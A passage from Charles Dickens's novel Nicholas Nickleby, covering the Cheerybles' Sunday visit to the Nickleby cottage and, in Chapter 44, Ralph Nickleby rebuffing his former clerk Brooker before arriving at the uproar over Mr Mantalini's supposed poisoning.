fine things which +poets, in the exercise of their undoubted vocation, have said of it? +There are, no doubt, authenticated instances of gentlemen having +given up ladies and ladies having given up gentlemen to meritorious +rivals, under circumstances of great high-mindedness; but is it +quite established that the majority of such ladies and gentlemen +have not made a virtue of necessity, and nobly resigned what was +beyond their reach; as a private soldier might register a vow never +to accept the order of the Garter, or a poor curate of great piety +and learning, but of no family--save a very large family of +children--might renounce a bishopric? + +Here was Nicholas Nickleby, who would have scorned the thought of +counting how the chances stood of his rising in favour or fortune +with the brothers Cheeryble, now that their nephew had returned, +already deep in calculations whether that same nephew was likely to +rival him in the affections of the fair unknown--discussing the +matter with himself too, as gravely as if, with that one exception, +it were all settled; and recurring to the subject again and again, +and feeling quite indignant and ill-used at the notion of anybody +else making love to one with whom he had never exchanged a word in +all his life. To be sure, he exaggerated rather than depreciated +the merits of his new acquaintance; but still he took it as a kind +of personal offence that he should have any merits at all--in the +eyes of this particular young lady, that is; for elsewhere he was +quite welcome to have as many as he pleased. There was undoubted +selfishness in all this, and yet Nicholas was of a most free and +generous nature, with as few mean or sordid thoughts, perhaps, as +ever fell to the lot of any man; and there is no reason to suppose +that, being in love, he felt and thought differently from other +people in the like sublime condition. + +He did not stop to set on foot an inquiry into his train of thought +or state of feeling, however; but went thinking on all the way home, +and continued to dream on in the same strain all night. For, having +satisfied himself that Frank Cheeryble could have no knowledge of, +or acquaintance with, the mysterious young lady, it began to occur +to him that even he himself might never see her again; upon which +hypothesis he built up a very ingenious succession of tormenting +ideas which answered his purpose even better than the vision of Mr +Frank Cheeryble, and tantalised and worried him, waking and sleeping. + +Notwithstanding all that has been said and sung to the contrary, +there is no well-established case of morning having either deferred +or hastened its approach by the term of an hour or so for the mere +gratification of a splenetic feeling against some unoffending lover: +the sun having, in the discharge of his public duty, as the books of +precedent report, invariably risen according to the almanacs, and +without suffering himself to be swayed by any private considerations. +So, morning came as usual, and with it business-hours, and with +them Mr Frank Cheeryble, and with him a long train of smiles and +welcomes from the worthy brothers, and a more grave and clerk-like, +but scarcely less hearty reception from Mr Timothy Linkinwater. + +'That Mr Frank and Mr Nickleby should have met last night,' said Tim +Linkinwater, getting slowly off his stool, and looking round the +counting-house with his back planted against the desk, as was his +custom when he had anything very particular to say: 'that those two +young men should have met last night in that manner is, I say, a +coincidence, a remarkable coincidence. Why, I don't believe now,' +added Tim, taking off his spectacles, and smiling as with gentle +pride, 'that there's such a place in all the world for coincidences +as London is!' + +'I don't know about that,' said Mr Frank; 'but--' + +'Don't know about it, Mr Francis!' interrupted Tim, with an +obstinate air. 'Well, but let us know. If there is any better +place for such things, where is it? Is it in Europe? No, that it +isn't. Is it in Asia? Why, of course it's not. Is it in Africa? +Not a bit of it. Is it in America? YOU know better than that, at +all events. Well, then,' said Tim, folding his arms resolutely, +'where is it?' + +'I was not about to dispute the point, Tim,' said young Cheeryble, +laughing. 'I am not such a heretic as that. All I was going to say +was, that I hold myself under an obligation to the coincidence, +that's all.' + +'Oh! if you don't dispute it,' said Tim, quite satisfied, 'that's +another thing. I'll tell you what though. I wish you had. I wish +you or anybody would. I would so put that man down,' said Tim, +tapping the forefinger of his left hand emphatically with his +spectacles, 'so put that man down by argument--' + +It was quite impossible to find language to express the degree of +mental prostration to which such an adventurous wight would be +reduced in the keen encounter with Tim Linkinwater, so Tim gave up +the rest of his declaration in pure lack of words, and mounted his +stool again. + +'We may consider ourselves, brother Ned,' said Charles, after he had +patted Tim Linkinwater approvingly on the back, 'very fortunate in +having two such young men about us as our nephew Frank and Mr +Nickleby. It should be a source of great satisfaction and pleasure +to us.' + +'Certainly, Charles, certainly,' returned the other. + +'Of Tim,' added brother Ned, 'I say nothing whatever, because Tim is +a mere child--an infant--a nobody that we never think of or take +into account at all. Tim, you villain, what do you say to that, +sir?' + +'I am jealous of both of 'em,' said Tim, 'and mean to look out for +another situation; so provide yourselves, gentlemen, if you please.' + +Tim thought this such an exquisite, unparalleled, and most +extraordinary joke, that he laid his pen upon the inkstand, and +rather tumbling off his stool than getting down with his usual +deliberation, laughed till he was quite faint, shaking his head all +the time so that little particles of powder flew palpably about the +office. Nor were the brothers at all behind-hand, for they laughed +almost as heartily at the ludicrous idea of any voluntary separation +between themselves and old Tim. Nicholas and Mr Frank laughed quite +boisterously, perhaps to conceal some other emotion awakened by this +little incident, (and so, indeed, did the three old fellows after +the first burst,) so perhaps there was as much keen enjoyment and +relish in that laugh, altogether, as the politest assembly ever +derived from the most poignant witticism uttered at any one person's +expense. + +'Mr Nickleby,' said brother Charles, calling him aside, and taking +him kindly by the hand, 'I--I--am anxious, my dear sir, to see that +you are properly and comfortably settled in the cottage. We cannot +allow those who serve us well to labour under any privation or +discomfort that it is in our power to remove. I wish, too, to see +your mother and sister: to know them, Mr Nickleby, and have an +opportunity of relieving their minds by assuring them that any +trifling service we have been able to do them is a great deal more +than repaid by the zeal and ardour you display.--Not a word, my dear +sir, I beg. Tomorrow is Sunday. I shall make bold to come out at +teatime, and take the chance of finding you at home; if you are not, +you know, or the ladies should feel a delicacy in being intruded on, +and would rather not be known to me just now, why I can come again +another time, any other time would do for me. Let it remain upon +that understanding. Brother Ned, my dear fellow, let me have a word +with you this way.' + +The twins went out of the office arm-in-arm, and Nicholas, who saw +in this act of kindness, and many others of which he had been the +subject that morning, only so many delicate renewals on the arrival +of their nephew of the kind assurance which the brothers had given +him in his absence, could scarcely feel sufficient admiration and +gratitude for such extraordinary consideration. + +The intelligence that they were to have visitor--and such a visitor-- +next day, awakened in the breast of Mrs Nickleby mingled feelings +of exultation and regret; for whereas on the one hand she hailed it +as an omen of her speedy restoration to good society and the almost- +forgotten pleasures of morning calls and evening tea-drinkings, she +could not, on the other, but reflect with bitterness of spirit on +the absence of a silver teapot with an ivory knob on the lid, and a +milk-jug to match, which had been the pride of her heart in days of +yore, and had been kept from year's end to year's end wrapped up in +wash-leather on a certain top shelf which now presented itself in +lively colours to her sorrowing imagination. + +'I wonder who's got that spice-box,' said Mrs Nickleby, shaking her +head. 'It used to stand in the left-hand corner, next but two to +the pickled onions. You remember that spice-box, Kate?' + +'Perfectly well, mama.' + +'I shouldn't think you did, Kate,' returned Mrs Nickleby, in a +severe manner, 'talking about it in that cold and unfeeling way! If +there is any one thing that vexes me in these losses more than the +losses themselves, I do protest and declare,' said Mrs Nickleby, +rubbing her nose with an impassioned air, 'that it is to have people +about me who take things with such provoking calmness.' + +'My dear mama,' said Kate, stealing her arm round her mother's +neck, 'why do you say what I know you cannot seriously mean or +think, or why be angry with me for being happy and content? You and +Nicholas are left to me, we are together once again, and what regard +can I have for a few trifling things of which we never feel the +want? When I have seen all the misery and desolation that death can +bring, and known the lonesome feeling of being solitary and alone in +crowds, and all the agony of separation in grief and poverty when we +most needed comfort and support from each other, can you wonder that +I look upon this as a place of such delicious quiet and rest, that +with you beside me I have nothing to wish for or regret? There was +a time, and not long since, when all the comforts of our old home +did come back upon me, I own, very often--oftener than you would +think perhaps--but I affected to care nothing for them, in the hope +that you would so be brought to regret them the less. I was not +insensible, indeed. I might have felt happier if I had been. Dear +mama,' said Kate, in great agitation, 'I know no difference between +this home and that in which we were all so happy for so many years, +except that the kindest and gentlest heart that ever ached on earth +has passed in peace to heaven.' + +'Kate my dear, Kate,' cried Mrs Nickleby, folding her in her arms. + +'I have so often thought,' sobbed Kate, 'of all his kind words--of +the last time he looked into my little room, as he passed upstairs +to bed, and said "God bless you, darling." There was a paleness in +his face, mama--the broken heart--I know it was--I little thought +so--then--' + +A gush of tears came to her relief, and Kate laid her head upon her +mother's breast, and wept like a little child. + +It is an exquisite and beautiful thing in our nature, that when the +heart is touched and softened by some tranquil happiness or +affectionate feeling, the memory of the dead comes over it most +powerfully and irresistibly. It would almost seem as though our +better thoughts and sympathies were charms, in virtue of which the +soul is enabled to hold some vague and mysterious intercourse with +the spirits of those whom we dearly loved in life. Alas! how often +and how long may those patient angels hover above us, watching for +the spell which is so seldom uttered, and so soon forgotten! + +Poor Mrs Nickleby, accustomed to give ready utterance to whatever +came uppermost in her mind, had never conceived the possibility of +her daughter's dwelling upon these thoughts in secret, the more +especially as no hard trial or querulous reproach had ever drawn +them from her. But now, when the happiness of all that Nicholas had +just told them, and of their new and peaceful life, brought these +recollections so strongly upon Kate that she could not suppress +them, Mrs Nickleby began to have a glimmering that she had been +rather thoughtless now and then, and was conscious of something like +self-reproach as she embraced her daughter, and yielded to the +emotions which such a conversation naturally awakened. + +There was a mighty bustle that night, and a vast quantity of +preparation for the expected visitor, and a very large nosegay was +brought from a gardener's hard by, and cut up into a number of very +small ones, with which Mrs Nickleby would have garnished the little +sitting-room, in a style that certainly could not have failed to +attract anybody's attention, if Kate had not offered to spare her +the trouble, and arranged them in the prettiest and neatest manner +possible. If the cottage ever looked pretty, it must have been on +such a bright and sunshiny day as the next day was. But Smike's +pride in the garden, or Mrs Nickleby's in the condition of the +furniture, or Kate's in everything, was nothing to the pride with +which Nicholas looked at Kate herself; and surely the costliest +mansion in all England might have found in her beautiful face and +graceful form its most exquisite and peerless ornament. + +About six o'clock in the afternoon Mrs Nickleby was thrown into a +great flutter of spirits by the long-expected knock at the door, nor +was this flutter at all composed by the audible tread of two pair of +boots in the passage, which Mrs Nickleby augured, in a breathless +state, must be 'the two Mr Cheerybles;' as it certainly was, though +not the two Mrs Nickleby expected, because it was Mr Charles +Cheeryble, and his nephew, Mr Frank, who made a thousand apologies +for his intrusion, which Mrs Nickleby (having tea-spoons enough and +to spare for all) most graciously received. Nor did the appearance +of this unexpected visitor occasion the least embarrassment, (save +in Kate, and that only to the extent of a blush or two at first,) +for the old gentleman was so kind and cordial, and the young +gentleman imitated him in this respect so well, that the usual +stiffness and formality of a first meeting showed no signs of +appearing, and Kate really more than once detected herself in the +very act of wondering when it was going to begin. + +At the tea-table there was plenty of conversation on a great variety +of subjects, nor were there wanting jocose matters of discussion, +such as they were; for young Mr Cheeryble's recent stay in Germany +happening to be alluded to, old Mr Cheeryble informed the company +that the aforesaid young Mr Cheeryble was suspected to have fallen +deeply in love with the daughter of a certain German burgomaster. +This accusation young Mr Cheeryble most indignantly repelled, upon +which Mrs Nickleby slyly remarked, that she suspected, from the very +warmth of the denial, there must be something in it. Young Mr +Cheeryble then earnestly entreated old Mr Cheeryble to confess that +it was all a jest, which old Mr Cheeryble at last did, young Mr +Cheeryble being so much in earnest about it, that--as Mrs Nickleby +said many thousand times afterwards in recalling the scene--he +'quite coloured,' which she rightly considered a memorable +circumstance, and one worthy of remark, young men not being as a +class remarkable for modesty or self-denial, especially when there +is a lady in the case, when, if they colour at all, it is rather +their practice to colour the story, and not themselves. + +After tea there was a walk in the garden, and the evening being very +fine they strolled out at the garden-gate into some lanes and bye- +roads, and sauntered up and down until it grew quite dark. The time +seemed to pass very quickly with all the party. Kate went first, +leaning upon her brother's arm, and talking with him and Mr Frank +Cheeryble; and Mrs Nickleby and the elder gentleman followed at a +short distance, the kindness of the good merchant, his interest in +the welfare of Nicholas, and his admiration of Kate, so operating +upon the good lady's feelings, that the usual current of her speech +was confined within very narrow and circumscribed limits. Smike +(who, if he had ever been an object of interest in his life, had +been one that day) accompanied them, joining sometimes one group and +sometimes the other, as brother Charles, laying his hand upon his +shoulder, bade him walk with him, or Nicholas, looking smilingly +round, beckoned him to come and talk with the old friend who +understood him best, and who could win a smile into his careworn +face when none else could. + +Pride is one of the seven deadly sins; but it cannot be the pride of +a mother in her children, for that is a compound of two cardinal +virtues--faith and hope. This was the pride which swelled Mrs +Nickleby's heart that night, and this it was which left upon her +face, glistening in the light when they returned home, traces of the +most grateful tears she had ever shed. + +There was a quiet mirth about the little supper, which harmonised +exactly with this tone of feeling, and at length the two gentlemen +took their leave. There was one circumstance in the leave-taking +which occasioned a vast deal of smiling and pleasantry, and that +was, that Mr Frank Cheeryble offered his hand to Kate twice over, +quite forgetting that he had bade her adieu already. This was held +by the elder Mr Cheeryble to be a convincing proof that he was +thinking of his German flame, and the jest occasioned immense +laughter. So easy is it to move light hearts. + +In short, it was a day of serene and tranquil happiness; and as we +all have some bright day--many of us, let us hope, among a crowd of +others--to which we revert with particular delight, so this one was +often looked back to afterwards, as holding a conspicuous place in +the calendar of those who shared it. + +Was there one exception, and that one he who needed to have been +most happy? + +Who was that who, in the silence of his own chamber, sunk upon his +knees to pray as his first friend had taught him, and folding his +hands and stretching them wildly in the air, fell upon his face in a +passion of bitter grief? + + + +CHAPTER 44 + +Mr Ralph Nickleby cuts an old Acquaintance. It would also appear +from the Contents hereof, that a Joke, even between Husband and +Wife, may be sometimes carried too far + + +There are some men who, living with the one object of enriching +themselves, no matter by what means, and being perfectly conscious +of the baseness and rascality of the means which they will use every +day towards this end, affect nevertheless--even to themselves--a +high tone of moral rectitude, and shake their heads and sigh over +the depravity of the world. Some of the craftiest scoundrels that +ever walked this earth, or rather--for walking implies, at least, +an erect position and the bearing of a man--that ever crawled and +crept through life by its dirtiest and narrowest ways, will gravely +jot down in diaries the events of every day, and keep a regular +debtor and creditor account with Heaven, which shall always show a +floating balance in their own favour. Whether this is a gratuitous +(the only gratuitous) part of the falsehood and trickery of such +men's lives, or whether they really hope to cheat Heaven itself, and +lay up treasure in the next world by the same process which has +enabled them to lay up treasure in this--not to question how it is, +so it is. And, doubtless, such book-keeping (like certain +autobiographies which have enlightened the world) cannot fail to +prove serviceable, in the one respect of sparing the recording Angel +some time and labour. + +Ralph Nickleby was not a man of this stamp. Stern, unyielding, +dogged, and impenetrable, Ralph cared for nothing in life, or beyond +it, save the gratification of two passions, avarice, the first and +predominant appetite of his nature, and hatred, the second. +Affecting to consider himself but a type of all humanity, he was at +little pains to conceal his true character from the world in +general, and in his own heart he exulted over and cherished every +bad design as it had birth. The only scriptural admonition that +Ralph Nickleby heeded, in the letter, was 'know thyself.' He knew +himself well, and choosing to imagine that all mankind were cast in +the same mould, hated them; for, though no man hates himself, the +coldest among us having too much self-love for that, yet most men +unconsciously judge the world from themselves, and it will be very +generally found that those who sneer habitually at human nature, and +affect to despise it, are among its worst and least pleasant +samples. + +But the present business of these adventures is with Ralph himself, +who stood regarding Newman Noggs with a heavy frown, while that +worthy took off his fingerless gloves, and spreading them carefully +on the palm of his left hand, and flattening them with his right to +take the creases out, proceeded to roll them up with an absent air +as if he were utterly regardless of all things else, in the deep +interest of the ceremonial. + +'Gone out of town!' said Ralph, slowly. 'A mistake of yours. Go +back again.' + +'No mistake,' returned Newman. 'Not even going; gone.' + +'Has he turned girl or baby?' muttered Ralph, with a fretful +gesture. + +'I don't know,' said Newman, 'but he's gone.' + +The repetition of the word 'gone' seemed to afford Newman Noggs +inexpressible delight, in proportion as it annoyed Ralph Nickleby. +He uttered the word with a full round emphasis, dwelling upon it as +long as he decently could, and when he could hold out no longer +without attracting observation, stood gasping it to himself as if +even that were a satisfaction. + +'And WHERE has he gone?' said Ralph. + +'France,' replied Newman. 'Danger of another attack of erysipelas +--a worse attack--in the head. So the doctors ordered him off. And +he's gone.' + +'And Lord Frederick--?' began Ralph. + +'He's gone too,' replied Newman. + +'And he carries his drubbing with him, does he?' said Ralph, turning +away; 'pockets his bruises, and sneaks off without the retaliation +of a word, or seeking the smallest reparation!' + +'He's too ill,' said Newman. + +'Too ill!' repeated Ralph. 'Why I would have it if I were dying; in +that case I should only be the more determined to have it, and that +without delay--I mean if I were he. But he's too ill! Poor Sir +Mulberry! Too ill!' + +Uttering these words with supreme contempt and great irritation of +manner, Ralph signed hastily to Newman to leave the room; and +throwing himself into his chair, beat his foot impatiently upon the +ground. + +'There is some spell about that boy,' said Ralph, grinding his +teeth. 'Circumstances conspire to help him. Talk of fortune's +favours! What is even money to such Devil's luck as this?' + +He thrust his hands impatiently into his pockets, but notwithstanding +his previous reflection there was some consolation there, for his +face relaxed a little; and although there was still a deep frown +upon the contracted brow, it was one of calculation, and not of +disappointment. + +'This Hawk will come back, however,' muttered Ralph; 'and if I know +the man (and I should by this time) his wrath will have lost +nothing of its violence in the meanwhile. Obliged to live in +retirement--the monotony of a sick-room to a man of his habits--no +life--no drink--no play--nothing that he likes and lives by. He +is not likely to forget his obligations to the cause of all this. +Few men would; but he of all others? No, no!' + +He smiled and shook his head, and resting his chin upon his hand, +fell a musing, and smiled again. After a time he rose and rang the +bell. + +'That Mr Squeers; has he been here?' said Ralph. + +'He was here last night. I left him here when I went home,' +returned Newman. + +'I know that, fool, do I not?' said Ralph, irascibly. 'Has he been +here since? Was he here this morning?' + +'No,' bawled Newman, in a very loud key. + +'If he comes while I am out--he is pretty sure to be here by nine +tonight--let him wait. And if there's another man with him, as +there will be--perhaps,' said Ralph, checking himself, 'let him +wait too.' + +'Let 'em both wait?' said Newman. + +'Ay,' replied Ralph, turning upon him with an angry look. 'Help me +on with this spencer, and don't repeat after me, like a croaking +parrot.' + +'I wish I was a parrot,' Newman, sulkily. + +'I wish you were,' rejoined Ralph, drawing his spencer on; 'I'd have +wrung your neck long ago.' + +Newman returned no answer to this compliment, but looked over +Ralph's shoulder for an instant, (he was adjusting the collar of the +spencer behind, just then,) as if he were strongly disposed to tweak +him by the nose. Meeting Ralph's eye, however, he suddenly recalled +his wandering fingers, and rubbed his own red nose with a vehemence +quite astonishing. + +Bestowing no further notice upon his eccentric follower than a +threatening look, and an admonition to be careful and make no +mistake, Ralph took his hat and gloves, and walked out. + +He appeared to have a very extraordinary and miscellaneous +connection, and very odd calls he made, some at great rich houses, +and some at small poor ones, but all upon one subject: money. His +face was a talisman to the porters and servants of his more dashing +clients, and procured him ready admission, though he trudged on +foot, and others, who were denied, rattled to the door in carriages. +Here he was all softness and cringing civility; his step so light, +that it scarcely produced a sound upon the thick carpets; his voice +so soft that it was not audible beyond the person to whom it was +addressed. But in the poorer habitations Ralph was another man; his +boots creaked upon the passage floor as he walked boldly in; his +voice was harsh and loud as he demanded the money that was overdue; +his threats were coarse and angry. With another class of customers, +Ralph was again another man. These were attorneys of more than +doubtful reputation, who helped him to new business, or raised fresh +profits upon old. With them Ralph was familiar and jocose, +humorous upon the topics of the day, and especially pleasant upon +bankruptcies and pecuniary difficulties that made good for trade. +In short, it would have been difficult to have recognised the same +man under these various aspects, but for the bulky leather case full +of bills and notes which he drew from his pocket at every house, and +the constant repetition of the same complaint, (varied only in tone +and style of delivery,) that the world thought him rich, and that +perhaps he might be if he had his own; but there was no getting +money in when it was once out, either principal or interest, and it +was a hard matter to live; even to live from day to day. + +It was evening before a long round of such visits (interrupted only +by a scanty dinner at an eating-house) terminated at Pimlico, and +Ralph walked along St James's Park, on his way home. + +There were some deep schemes in his head, as the puckered brow and +firmly-set mouth would have abundantly testified, even if they had +been unaccompanied by a complete indifference to, or unconsciousness +of, the objects about him. So complete was his abstraction, +however, that Ralph, usually as quick-sighted as any man, did not +observe that he was followed by a shambling figure, which at one +time stole behind him with noiseless footsteps, at another crept a +few paces before him, and at another glided along by his side; at +all times regarding him with an eye so keen, and a look so eager and +attentive, that it was more like the expression of an intrusive face +in some powerful picture or strongly marked dream, than the scrutiny +even of a most interested and anxious observer. + +The sky had been lowering and dark for some time, and the +commencement of a violent storm of rain drove Ralph for shelter to a +tree. He was leaning against it with folded arms, still buried in +thought, when, happening to raise his eyes, he suddenly met those of +a man who, creeping round the trunk, peered into his face with a +searching look. There was something in the usurer's expression at +the moment, which the man appeared to remember well, for it decided +him; and stepping close up to Ralph, he pronounced his name. + +Astonished for the moment, Ralph fell back a couple of paces and +surveyed him from head to foot. A spare, dark, withered man, of +about his own age, with a stooping body, and a very sinister face +rendered more ill-favoured by hollow and hungry cheeks, deeply +sunburnt, and thick black eyebrows, blacker in contrast with the +perfect whiteness of his hair; roughly clothed in shabby garments, +of a strange and uncouth make; and having about him an indefinable +manner of depression and degradation--this, for a moment, was all +he saw. But he looked again, and the face and person seemed +gradually to grow less strange; to change as he looked, to subside +and soften into lineaments that were familiar, until at last they +resolved themselves, as if by some strange optical illusion, into +those of one whom he had known for many years, and forgotten and +lost sight of for nearly as many more. + +The man saw that the recognition was mutual, and beckoning to Ralph +to take his former place under the tree, and not to stand in the +falling rain, of which, in his first surprise, he had been quite +regardless, addressed him in a hoarse, faint tone. + +'You would hardly have known me from my voice, I suppose, Mr +Nickleby?' he said. + +'No,' returned Ralph, bending a severe look upon him. 'Though there +is something in that, that I remember now.' + +'There is little in me that you can call to mind as having been +there eight years ago, I dare say?' observed the other. + +'Quite enough,' said Ralph, carelessly, and averting his face. +'More than enough.' + +'If I had remained in doubt about YOU, Mr Nickleby,' said the other, +'this reception, and YOUR manner, would have decided me very soon.' + +'Did you expect any other?' asked Ralph, sharply. + +'No!' said the man. + +'You were right,' retorted Ralph; 'and as you feel no surprise, need +express none.' + +'Mr Nickleby,' said the man, bluntly, after a brief pause, during +which he had seemed to struggle with an inclination to answer him by +some reproach, 'will you hear a few words that I have to say?' + +'I am obliged to wait here till the rain holds a little,' said +Ralph, looking abroad. 'If you talk, sir, I shall not put my +fingers in my ears, though your talking may have as much effect as +if I did.' + +'I was once in your confidence--' thus his companion began. Ralph +looked round, and smiled involuntarily. + +'Well,' said the other, 'as much in your confidence as you ever +chose to let anybody be.' + +'Ah!' rejoined Ralph, folding his arms; 'that's another thing, +quite another thing.' + +'Don't let us play upon words, Mr Nickleby, in the name of +humanity.' + +'Of what?' said Ralph. + +'Of humanity,' replied the other, sternly. 'I am hungry and in +want. If the change that you must see in me after so long an +absence--must see, for I, upon whom it has come by slow and hard +degrees, see it and know it well--will not move you to pity, let +the knowledge that bread; not the daily bread of the Lord's Prayer, +which, as it is offered up in cities like this, is understood to +include half the luxuries of the world for the rich, and just as +much coarse food as will support life for the poor--not that, but +bread, a crust of dry hard bread, is beyond my reach today--let +that have some weight with you, if nothing else has.' + +'If this is the usual form in which you beg, sir,' said Ralph, 'you +have studied your part well; but if you will take advice from one +who knows something of the world and its ways, I should recommend a +lower tone; a little lower tone, or you stand a fair chance of +being starved in good earnest.' + +As he said this, Ralph clenched his left wrist tightly with his +right hand, and inclining his head a little on one side and dropping +his chin upon his breast, looked at him whom he addressed with a +frowning, sullen face. The very picture of a man whom nothing could +move or soften. + +'Yesterday was my first day in London,' said the old man, glancing +at his travel-stained dress and worn shoes. + +'It would have been better for you, I think, if it had been your +last also,' replied Ralph. + +'I have been seeking you these two days, where I thought you were +most likely to be found,' resumed the other more humbly, 'and I met +you here at last, when I had almost given up the hope of +encountering you, Mr Nickleby.' + +He seemed to wait for some reply, but Ralph giving him none, he +continued: + +'I am a most miserable and wretched outcast, nearly sixty years old, +and as destitute and helpless as a child of six.' + +'I am sixty years old, too,' replied Ralph, 'and am neither +destitute nor helpless. Work. Don't make fine play-acting speeches +about bread, but earn it.' + +'How?' cried the other. 'Where? Show me the means. Will you give +them to me--will you?' + +'I did once,' replied Ralph, composedly; 'you scarcely need ask me +whether I will again.' + +'It's twenty years ago, or more,' said the man, in a suppressed +voice, 'since you and I fell out. You remember that? I claimed a +share in the profits of some business I brought to you, and, as I +persisted, you arrested me for an old advance of ten pounds, odd +shillings, including interest at fifty per cent, or so.' + +'I remember something of it,' replied Ralph, carelessly. 'What +then?' + +'That didn't part us,' said the man. 'I made submission, being on +the wrong side of the bolts and bars; and as you were not the made +man then that you are now, you were glad enough to take back a clerk +who wasn't over nice, and who knew something of the trade you +drove.' + +'You begged and prayed, and I consented,' returned Ralph. 'That was +kind of me. Perhaps I did want you. I forget. I should think I +did, or you would have begged in vain. You were useful; not too +honest, not too delicate, not too nice of hand or heart; but +useful.' + +'Useful, indeed!' said the man. 'Come. You had pinched and ground +me down for some years before that, but I had served you faithfully +up to that time, in spite of all your dog's usage. Had I?' + +Ralph made no reply. + +'Had I?' said the man again. + +'You had had your wages,' rejoined Ralph, 'and had done your work. +We stood on equal ground so far, and could both cry quits.' + +'Then, but not afterwards,' said the other. + +'Not afterwards, certainly, nor even then, for (as you have just +said) you owed me money, and do still,' replied Ralph. + +'That's not all,' said the man, eagerly. 'That's not all. Mark +that. I didn't forget that old sore, trust me. Partly in +remembrance of that, and partly in the hope of making money someday +by the scheme, I took advantage of my position about you, and +possessed myself of a hold upon you, which you would give half of +all you have to know, and never can know but through me. I left +you--long after that time, remember--and, for some poor trickery +that came within the law, but was nothing to what you money-makers +daily practise just outside its bounds, was sent away a convict for +seven years. I have returned what you see me. Now, Mr Nickleby,' +said the man, with a strange mixture of humility and sense of power, +'what help and assistance will you give me; what bribe, to speak out +plainly? My expectations are not monstrous, but I must live, and to +live I must eat and drink. Money is on your side, and hunger and +thirst on mine. You may drive an easy bargain.' + +'Is that all?' said Ralph, still eyeing his companion with the same +steady look, and moving nothing but his lips. + +'It depends on you, Mr Nickleby, whether that's all or not,' was the +rejoinder. + +'Why then, harkye, Mr--, I don't know by what name I am to call +you,' said Ralph. + +'By my old one, if you like.' + +'Why then, harkye, Mr Brooker,' said Ralph, in his harshest accents, +'and don't expect to draw another speech from me. Harkye, sir. I +know you of old for a ready scoundrel, but you never had a stout +heart; and hard work, with (maybe) chains upon those legs of yours, +and shorter food than when I "pinched" and "ground" you, has blunted +your wits, or you would not come with such a tale as this to me. +You a hold upon me! Keep it, or publish it to the world, if you +like.' + +'I can't do that,' interposed Brooker. 'That wouldn't serve me.' + +'Wouldn't it?' said Ralph. 'It will serve you as much as bringing +it to me, I promise you. To be plain with you, I am a careful man, +and know my affairs thoroughly. I know the world, and the world +knows me. Whatever you gleaned, or heard, or saw, when you served +me, the world knows and magnifies already. You could tell it +nothing that would surprise it, unless, indeed, it redounded to my +credit or honour, and then it would scout you for a liar. And yet I +don't find business slack, or clients scrupulous. Quite the +contrary. I am reviled or threatened every day by one man or +another,' said Ralph; 'but things roll on just the same, and I don't +grow poorer either.' + +'I neither revile nor threaten,' rejoined the man. 'I can tell you +of what you have lost by my act, what I only can restore, and what, +if I die without restoring, dies with me, and never can be +regained.' + +'I tell my money pretty accurately, and generally keep it in my own +custody,' said Ralph. 'I look sharply after most men that I deal +with, and most of all I looked sharply after you. You are welcome +to all you have kept from me.' + +'Are those of your own name dear to you?' said the man emphatically. +'If they are--' + +'They are not,' returned Ralph, exasperated at this perseverance, +and the thought of Nicholas, which the last question awakened. +'They are not. If you had come as a common beggar, I might have +thrown a sixpence to you in remembrance of the clever knave you used +to be; but since you try to palm these stale tricks upon one you +might have known better, I'll not part with a halfpenny--nor would I +to save you from rotting. And remember this, 'scape-gallows,' said +Ralph, menacing him with his hand, 'that if we meet again, and you +so much as notice me by one begging gesture, you shall see the +inside of a jail once more, and tighten this hold upon me in +intervals of the hard labour that vagabonds are put to. There's my +answer to your trash. Take it.' + +With a disdainful scowl at the object of his anger, who met his eye +but uttered not a word, Ralph walked away at his usual pace, without +manifesting the slightest curiosity to see what became of his late +companion, or indeed once looking behind him. The man remained on +the same spot with his eyes fixed upon his retreating figure until +it was lost to view, and then drawing his arm about his chest, as if +the damp and lack of food struck coldly to him, lingered with +slouching steps by the wayside, and begged of those who passed +along. + +Ralph, in no-wise moved by what had lately passed, further than as he +had already expressed himself, walked deliberately on, and turning +out of the Park and leaving Golden Square on his right, took his way +through some streets at the west end of the town until he arrived in +that particular one in which stood the residence of Madame +Mantalini. The name of that lady no longer appeared on the flaming +door-plate, that of Miss Knag being substituted in its stead; but +the bonnets and dresses were still dimly visible in the first-floor +windows by the decaying light of a summer's evening, and excepting +this ostensible alteration in the proprietorship, the establishment +wore its old appearance. + +'Humph!' muttered Ralph, drawing his hand across his mouth with a +connoisseur-like air, and surveying the house from top to bottom; +'these people look pretty well. They can't last long; but if I know +of their going in good time, I am safe, and a fair profit too. I +must keep them closely in view; that's all.' + +So, nodding his head very complacently, Ralph was leaving the spot, +when his quick ear caught the sound of a confused noise and hubbub +of voices, mingled with a great running up and down stairs, in the +very house which had been the subject of his scrutiny; and while he +was hesitating whether to knock at the door or listen at the keyhole +a little longer, a female servant of Madame Mantalini's (whom he had +often seen) opened it abruptly and bounced out, with her blue cap- +ribbons streaming in the air. + +'Hallo here. Stop!' cried Ralph. 'What's the matter? Here am I. +Didn't you hear me knock?' + +'Oh! Mr Nickleby, sir,' said the girl. 'Go up, for the love of +Gracious. Master's been and done it again.' + +'Done what?' said Ralph, tartly; 'what d'ye mean?' + +'I knew he would if he was drove to it,' cried the girl. 'I said so +all along.' + +'Come here, you silly wench,' said Ralph, catching her by the wrist; +'and don't carry family matters to the neighbours, destroying the +credit of the establishment. Come here; do you hear me, girl?' + +Without any further expostulation, he led or rather pulled the +frightened handmaid into the house, and shut the door; then bidding +her walk upstairs before him, followed without more ceremony. + +Guided by the noise of a great many voices all talking together, and +passing the girl in his impatience, before they had ascended many +steps, Ralph quickly reached the private sitting-room, when he was +rather amazed by the confused and inexplicable scene in which he +suddenly found himself. + +There were all the young-lady workers, some with bonnets and some +without, in various attitudes expressive of alarm and consternation; +some gathered round Madame Mantalini, who was in tears upon one +chair; and others round Miss Knag, who was in opposition tears upon +another; and others round Mr Mantalini, who was perhaps the most +striking figure in the whole group, for Mr Mantalini's legs were +extended at full length upon the floor, and his head and shoulders +were supported by a very tall footman, who didn't seem to know what +to do with them, and Mr Mantalini's eyes were closed, and his face +was pale and his hair was comparatively straight, and his whiskers +and moustache were limp, and his teeth were clenched, and he had a +little bottle in his right hand, and a little tea-spoon in his left; +and his hands, arms, legs, and shoulders, were all stiff and +powerless. And yet Madame Mantalini was not weeping upon the body, +but was scolding violently upon her chair; and all this amidst a +clamour of tongues perfectly deafening, and which really appeared to +have driven the unfortunate footman to the utmost verge of +distraction. + +'What is the matter here?' said Ralph, pressing forward. + +At this inquiry, the clamour was increased twenty-fold, and an +astounding string of such shrill contradictions as 'He's poisoned +himself'--'He hasn't'--'Send for a doctor'--'Don't'--'He's dying'-- +'He isn't, he's only pretending'--with various other cries, poured +forth with bewildering volubility, until Madame Mantalini was seen +to address herself to Ralph, 